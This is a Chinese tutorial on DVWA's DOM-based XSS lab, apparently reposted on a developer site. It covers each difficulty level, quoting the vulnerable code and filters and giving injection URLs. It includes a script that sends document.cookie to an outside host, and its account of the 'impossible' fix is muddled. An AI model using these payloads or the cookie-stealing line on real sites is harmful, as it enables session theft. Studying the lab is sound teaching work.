内容简介:反射型攻击那篇提及到,如何是“数据是否保存在服务器端”来区分,DOM 型 XSS 攻击应该算是 反射型XSS 攻击。DOM 型攻击的特殊之处在于它是利用 JS 的下面一起来探讨一下吧。
反射型攻击那篇提及到,如何是“数据是否保存在服务器端”来区分,DOM 型 XSS 攻击应该算是 反射型XSS 攻击。
DOM 型攻击的特殊之处在于它是利用 JS 的 document.write
、 document.innerHTML
等函数进行 “HTML注入”
下面一起来探讨一下吧。
初级
这是一个普通的选择器。
选择了 English 之后是这个样式的
但打开调试器,看到的这段 JS 代码就很成问题了
if (document.location.href.indexOf("default=") >= 0) { //url 是否有 default= var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); //截取 url 字符串 document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>"); document.write("<option value='' disabled='disabled'>----</option>"); } document.write("<option value='English'>English</option>"); document.write("<option value='French'>French</option>"); document.write("<option value='Spanish'>Spanish</option>"); document.write("<option value='German'>German</option>");
而这里的问题当然是处于截取字符串那里了。
假如 Hacker 在浏览器中输入 http://192.168.0.110:5678/vulnerabilities/xss_d/?default= 呢?
html 就变成
<option value="%3Cscript%3Ealert(1)%3C/script%3E"><script>alert(1)</script></option>
如果 Hacker 输入的是 http://192.168.0.110:5678/vulnerabilities/xss_d/?default=
因为 test.js 的内容是
var img = document.createElement("img") img.src = "http://www.a.com/?cookies="+escape(document.cookie); document.body.appendChild(img);
看过上一篇反射型攻击的朋友应该能明白
中级
中级会过滤掉 <script,所以无法用 script 进行注入,但仍然有多种的方式可以注入 <?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?>
利用 Img 注入
或者你会想到使用 img 进行注入,但这不会成功的,因为 option 中的元素不能有图片之类的,只能是文字。
但可以选择先闭合 option 再注入
http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English
这种方式的话,就比较容易被容易察觉到
利用参数
因为在网页端是截取 url ,而服务器读的是也只是 default 这个变量,如果url 中的参数不是 default 呢?
http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English&&script=<script>alert(1)</script>
利用 location.hash
还是会有注入的方式的,比如利用 location.hash 。因为 location.hash 不会传到服务器,所以尽情注入吧。
http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>
高级
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>
高级会检查 default 的变量,而且 default 也只能是规定的值。
但用其他变量,和使用 location.hash 还是没防御到
不可能
不可能级别,后端是这样的。。。因为根本不用后端做保护,主要是在前端做了保护。
<?php # Don't need to do anything, protction handled on the client side ?>
前端的代码最主要是这样。
if (document.location.href.indexOf("default=") >= 0) { var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); //记住这个神奇的括号 document.write("<option value='" + lang + "'>" + (lang) + "</option>"); document.write("<option value='' disabled='disabled'>----</option>"); }
用一个神奇的括号,恶意的 “HTML 注入代码”都变回普通的字符串。就能很好地防御 dom 型 xss 攻击了
以上所述就是小编给大家介绍的《DVWA 黑客攻防演练(十二) DOM型 XSS 攻击 DOM Based Cross Site Scripting》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- NSA宣布开源高级黑客攻防工具Ghidra
- 攻防最前线:伊朗黑客组织MuddyWater新添黑客武器
- 一个隐藏在黑客迷雾下的bug——记一次黑客攻防
- DVWA 黑客攻防演练(二)暴力破解 Brute Froce
- DVWA 黑客攻防演练(四)文件包含 File Inclusion
- 云服务器反黑客入侵攻防实录(一)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
微商团队管理实战手册
杜一凡 / 人民邮电出版社 / 2015-11 / 45.00元
回顾淘宝,用了10年时间才发展了不到1000万的卖家,再看微商,其仅一年时间就拥有了超过1000万的卖家。进入2015年,微商的发展之路虽有小坎坷,但前景依然被看好。然而任何一个想要做大、做强的微商都要以团队形式来发展,独立的个体只会举步维艰。 本书全面解读微商团队管理的营销书。全书共分为六章,分别从微商团队的商业秘密、微商团队的战略布局、管理基本功、建立高效团队、精通管理工具、未来发展等方......一起来看看 《微商团队管理实战手册》 这本书的介绍吧!